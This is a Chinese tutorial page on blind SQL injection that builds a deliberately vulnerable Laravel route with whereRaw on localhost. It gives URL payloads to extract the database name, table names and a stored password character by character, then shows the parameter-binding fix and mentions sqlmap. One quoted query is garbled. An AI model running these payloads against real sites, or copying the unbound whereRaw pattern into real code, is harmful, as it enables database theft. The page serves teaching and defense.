您的位置: 翼速应用 > 业内知识 > PHP框架 > 正文

带大家通过laravel漏洞解析sql盲注原理

本文是是关于PHP框架的教程分享,主要带大家通过laravel漏洞解析sql盲注原理,所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击,详细内容请仔细阅读本文。


带大家通过laravel漏洞解析sql盲注原理


带大家通过laravel漏洞解析sql盲注原理


环境


composer create-project laravel/laravel lar9 // 安装laravel9
// 编辑.env  修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 启动
// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');


创建漏洞


// routes/web.php
Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = '.$id)->first();
 return $user->name ?? '';
});
// 最后转换的sql是: select * from users where id = $id


测试


http://127.0.0.1:8000/?id=1'
// 500
http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空
http://127.0.0.1:8000/?id=1 and 1=1 
// select * from users where id = 1 and 1=1 返回xxh


步骤


数据库名


猜出数据名长度:

url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 2
// 一直循环下去


猜出数据库名:

从第一步 知道了数据库名长度
`select * from users where id = 1 and substr(database(),1,1) =a` 
`select * from users where id = 1 and substr(database(),1,1) =b` 
// 一直循环下去 找到数据库名的第一个做字符  然后找第二个字符  直到找完数据库名的长度

最终: laravel_project。


表名


以下的步骤和猜数据库差不多,就简说了。


information_schema


information_schema 是 mysql 自带的,


数据库名 表名 列类型 等都有记录,猜表 字段明需要从这个数据库来。


猜 laravel_project 的表数量


url:   http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5
mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
|        5 |
+----------+


猜第一个表名的长度


与 [猜出数据名长度] 此不多。


猜第一个表名


url:   http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'
mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f                      |
+------------------------+
// 得出第一个表的第一个字段是f  然后查第


最终得出第一个表名称为: failed_jobs


猜字段


和猜表一模一样的逻辑。


select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; //  fail_jobs字段总数


猜数据


数据这才是最重要的。


因为 failed_jobs 没数据,所以我换成 users 来。


users 有个 password 字段。


mysql> select substr((select password from users limit 0,1),1,1);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,1) |
+----------------------------------------------------+
| w                                                  |
+----------------------------------------------------+
得出第一个是w,存起来,最后判断 
mysql> select substr((select password from users limit 0,1),1,2);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,2) |
+----------------------------------------------------+
| wo                                                 |
+----------------------------------------------------+
第二个值为o
用第一个值 + 第二个值作为盲注


……


防御


(有时候 where 不满足需求,就需要 whereRaw)


如果需要,记得绑定就好。


Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = ?',[$id])->first();
 return $user->name ?? '';
});


只要安份的用框架,不会会漏洞的。


那些老项目,漏洞满地飞。


现在这个时代,找漏洞难登天。


Ps


上面为了讲解简单,用是最简单的查找。


手工盲注应该用二分查找。


select * from users where id = 1 and  substr(database(),1,1) ='a';
换成二分:
 select * from users where id = 1 and  ascii(substr(database(),1,1)) > 99;


最好还是直接借助工具 sqlmap, 直接扫出来。


以上就是关于通过laravel漏洞解析sql盲注原理的详细教程了,翼速应用平台内有更多相关资讯,欢迎查阅!


我来说两句

0 条评论

推荐阅读

  • 响应式布局CSS媒体查询设备像素比介绍

    构建响应式网站布局最常见的是流体网格,灵活调整大小的站点布局技术,确保用户在使用的幕上获得完整的体验。响应式设计如何展示富媒体图像,可以通过以下几种方法。

    admin
  • 提升网站的性能快速加载的实用技巧

    网站速度很重要,快速加载的网站会带来更好的用户体验、更高的转化率、更多的参与度,而且在搜索引擎排名中也扮演重要角色,做SEO,网站硬件是起跑线,如果输在了起跑线,又怎么跟同行竞争。有许多方法可提升网站的性能,有一些技巧可以避免踩坑。

    admin
  • 织梦CMS TAG页找不到标签和实现彩色标签解决方法

    织梦cms是我们常见的网站程序系统的一款,在TAG标签中常常遇到的问题也很多。当我们点击 tags.php 页的某个标签的时候,有时会提示:“系统无此标签,可 能已经移除!” 但是我们检查程序后台,以及前台显示页面。这个标签确实存在,如果解决这个问题那?

    admin
  • HTML关于fieldset标签主要的作用

    在前端开发html页面中常用的标签很多,今天为大家带来的是关于HTML中fieldset标签主要的作用说明,根据技术分析HTML

    admin

精选专题